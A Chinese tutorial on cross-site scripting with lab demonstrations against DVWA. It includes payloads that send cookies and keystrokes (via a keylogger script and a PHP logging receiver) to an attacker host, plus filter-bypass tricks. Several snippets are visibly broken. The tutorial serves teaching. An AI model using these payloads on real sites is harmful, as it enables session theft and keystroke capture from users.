Web 安全：前端攻击 XSS 深入解析
Posted 架构之心
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Web 安全：前端攻击 XSS 深入解析相关的知识，希望对你有一定的参考价值。
本文来自作者 肖志华 在 GitChat 上分享 「Web 安全：前端攻击 XSS 深入解析」，「阅读原文」查看交流实录。
「文末高能」
编辑 | 哈比
什么是 XSS 漏洞
XSS 攻击：跨站脚本攻击 (Cross Site Scripting)，为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆。故将跨站脚本攻击缩写为 XSS。
XSS 是一种经常出现在 web 应用中的计算机安全漏洞，它允许恶意 web 用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括 html 代码和客户端脚本。
攻击者利用 XSS 漏洞旁路掉访问控制——例如同源策略 (same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的 phishing 攻击而变得广为人知。
对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的 “缓冲区溢出攻击 “，而 javascript 是新型的 “ShellCode”。
XSS 攻击的危害包括
盗取各类用户帐号权限 (控制所盗窃权限数据内容)，如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
基于 XSS 的跨站业务请求 (如：非法转账、非法下单、非法转载 / 发表内容、发送电子邮件、利用管理员身份提权挂马、控制受害者机器向其它网站发起攻击等)
形成持久化 APT 攻击，长期控制网站业务中枢
利用跨站业务形成蠕虫病毒式传播
劫持网站，劫持后可用于钓鱼、伪装、跳转、挂广告等，属挂马类型
XSS 漏洞给一些开发人员是感觉就是鸡肋漏洞，不属于漏洞。说鸡肋也并不是那么鸡肋，我们用实例来看一下。
<html> <heda>test</heda> <body> <script>alert(“xss”)</script> </body> </html>
上面这段代码就是弹出一个窗口，提示 XSS。我用一个 php 实例来讲 xss 危害。
这是一个基础的表单信息提交页面，源码如下：
<!DOCTYPE html> <html> <head> <title>姓名提交</title> </head> <body> <form action="" method="get"> 名字：<input type="text" name="name"> <input type="submit" value="提交"> </form> </body> </html> <?php echo '你的用户名：'.@$_GET['name']; ?>
以上代码使用$_GET[‘name’]获取用户输入的 name 变量，然后使用 echo 输出在页面上。正常输入，应该显示我输入的内容在页面上。
http://127.0.0.2/bachang/xss-1.php?name=rNma0y
你的用户名：rNma0y
那么，我们尝试一下输入 JavaScript 代码试试。
<script>alert('XSS')</script>
可以看到这个代码已经被浏览器所执行了，代码用的 GET 的方式提交的变量，因此我们可以直接访问 URL 进行触发 XSS。
http://127.0.0.2/bachang/xss-1.php?name=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E %3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
上面这条是经过浏览器解码的字符哈。解码后应该输出为：
<script>alert('XSS')</script>
这时候我们看看源代码是怎么变化的。这是输出在页面上的显示。
<!DOCTYPE html> <html> <head> <title> 姓名提交 </title> </head> <body> <form action="" method="get"> 名字：<input type="text" name="name"> <input type="submit" value=" 提交 "> </form> </body> </html>
你的用户名：
<script>alert('XSS')</script>
这是最基本的一串脚本代码，用于测试是否存在 XSS 漏洞。这串代码被放到了 标签里，被当做了一个弹窗去执行。明显可见脱离了原本开发者的本意。说到这里应该都理解 XSS 了，XSS 漏洞就是没有正确的过滤数据提交的问题。
XSS 的分类
1. 反射性 XSS
反射性 XSS 只执行一次，且需要用户触发。
2. 储存性 XSS
储存性 XSS 也就比较好理解了，就是持久性的 XSS，服务端已经接收了，并且存入数据库，当用户访问这个页面时，这段 XSS 代码会自己触发，不需要有客户端去手动触发操作。
3. DOM XSS
简单理解 DOM XSS 就是出现在 javascript 代码中的 xss 漏洞，不需要服务端交互，只发生在客户端传输数据的时候。
<script> var temp = document.URL;// 获取 URL var index = document.URL.indexOf("content=")+4; var par = temp.substring(index); document.write(decodeURI(par));// 输入获取内容 </script>
如果输入http://www.baidu.com/dom.html?content=<script>alert(/xss/)</script>，就会产生 XSS 漏洞。
这种利用也需要受害者点击链接来触发，DOM 型 XSS 是前端代码中存在了漏洞，而反射型是后端代码中存在了漏洞。
反射型和存储型 xss 是服务器端代码漏洞造成的，payload 在响应页面中，在 dom xss 中，payload 不在服务器发出的 HTTP 响应页面中，当客户端脚本运行时（渲染页面时），payload 才会加载到脚本中执行。(引用百度）
关于 Dom XSS 漏洞的参考资料
XSS 漏洞检测 Poc
1. 标准的 xss 漏洞测试代码
<script>alert('xss')</script>
2. img 图片标记属性跨站攻击代码
<img ></img> <img dynsrc="javascript:alert('xss')">
3. 无需 “<>”，利用 html 标记事件属性跨站
<img onerror=alert("xss")>
4. 空格与回车符转换
<img > <img > <img >
5. 10 进制转换
<img >
以上代码都可以做 Poc 使用，在有变量的位置插入，如果成功执行则代表有漏洞。只要你提交的内容，服务端给你原封不动的返回了，就证明有漏洞存在。你构造的内容，服务端不经过任何处理就给你显示了。
我用 DVWA 测试一下，我这条语句的命令是在页面显示一个名为 boob 的标签，点击后重定向到我设置的页面。
源代码已经展示给大家了。
div class="body_padded"> <h1>Vulnerability: Reflected Cross Site Scripting (XSS)</h1> <div class="vulnerable_code_area"> <form name="XSS" action="#" method="GET"> <p>What's your name?</p> <input type="text" name="name"> <input type="submit" value="Submit"> </form> <pre>Hello <a href="http://blog.secus.org">boob</a></pre> </div>
开发者原意是输入的数据，但服务端没有正确判断，当做了代码来执行，就造成了 XSS 漏洞。
储存性 XSS
它与反射型 XSS 最大的不同就是服务器再接收到我们的恶意脚本时会将其做一些处理，例如储存到数据库中，然后当我们再次访问相同页面时，将恶意脚本从数据库中取出并返回给浏览器执行。
这就意味着只要访问了这个页面的访客，都有可能会执行这段恶意脚本，因此储存型 XSS 的危害会更大。
A 用户插入 数据库接受并且保存下来 B 用户访问到该页面 也能看到弹窗 CDFHG 用户都能看到。
如果 A 插入的恶意劫持代码，那么后面的用户都会被中枪。全范围的扫射攻击，这个过程一般而言只要用户访问这个界面就行了，不像反射型 XSS，需要访问特定的 URL 或者用户去手动点击触发。
储存性 XSS 多存在于留言板等地方。
XSS 危害
1. 页面重定向
<script>window.location='http://gitbook.cn/'</script>
这条语句能成功执行重定向功能，从 192.168.0.9/dvwa 重新定向到了 http://gitbook.cn。
我直接使用了 NC 侦听我的 80 端口，同时使页面重定向到我的 KaliLinux 的 IP。
NC 返回了请求方式信息。
2. cookie 获取
http://192.168.0.9/dvwa/vulnerabilities/xss_r/?name=<script>new Image().src="http://192.168.0.8/xss.php?output="+document.cookie;</script>
GET /xss.php?output=security=low;%20PHPSESSID=e5aca06c1b5c18bc652942af40f12b4a
这里的 ssid 信息就是我的 cook 值。偷取了 cookie 之后，就能以你的身份登陆服务进行操作。NC 监听麻烦，可以使用 XSS 平台。
XSS 平台提供一体化的 XSS Exp 项目，你只需要选中相应的项目然后插在有 xss 漏洞的地方就好了。
功能较多，获取网页密码，获取保存密码，截图，键盘记录，获取内网 IP 等模块就不一一展示了。
XSS 提交 html 标签属性代码是基础的，同时还可以提交 JavaScript 代码。提交 JavaScript 代码我提供一个例子。
ocument.onkeypress=function(evt){ evt=evt || window.event key=String.fromCharCode(evt.charCode) if(key){ var http=new XMLHttpRequest(); var param=encodeURI(key); http.open("POST","http://192.168.0.8/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param); } }
以上代码意思是，获取客户端键盘敲击记录，并且传递给我指定的 php 文件下。同时还需要创建一个 PHP 文件。
1.<?php 2.$key=$_POST['key']; 3.$logfile='keylog.txt'; 4.$fp=fopen($logfile,"a"); 5.fwrite($fp,$key); 6.fclose($fp); 7.?>
同时创建一个名为 jianpan.txt 的文件，给予可写权限。
执行命令
<script src="http://192.168.0.8/Keylogger.js></script>
就可以看到我的键盘记录已经被记录下来了。
早在 2011 年新浪就曾爆出过严重的 xss 漏洞，XSS 蠕虫事件。导致大量用户自动关注某个微博号并自动转发某条微博。具体各位可以自行百度。百度也爆出过 XSS 蠕虫，百度空间事件。
XSS 绕过姿势
有些网站仅仅只是过滤了<script>标签，使用大小写依然可被浏览器所执行。
如果过滤了<script>标签，那么还可以换一种方式，并不是只有 Script 标签才可以执行弹窗。比如，用<IMG>标签也行。
脚本编码的绕过方式，是针对关键词过滤所出发的。有的程序员，对代码中的关键词 比如 script 进行过滤，这个时候就可以用到编码了，尝试编码后再进行插入。比如，alert(1) 编码过后就是：
`\u0061\u006c\u0065\u0072\u0074(1)`
那么执行的工具语句也就是：
`<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>`
方法还有很多种，看你对 JavaScript 的理解功底了。利用相关软件：
xsser kalilinux 自带；
Xsser.me 一个开源的 xss 攻击框架。
防御手段也很简单，开头所说的一切安全问题出在输入输出的过程中，首先过滤掉常见的标签，script alert 尖括号 <> 等，在输入一些敏感字符的时候，要进行编码转换。
近期热文
《》
《》
《》
《》
《》
别让黑客
碰到你的隐私
「阅读原文」看交流实录，你想知道的都在这里
以上是关于Web 安全：前端攻击 XSS 深入解析的主要内容，如果未能解决你的问题，请参考以下文章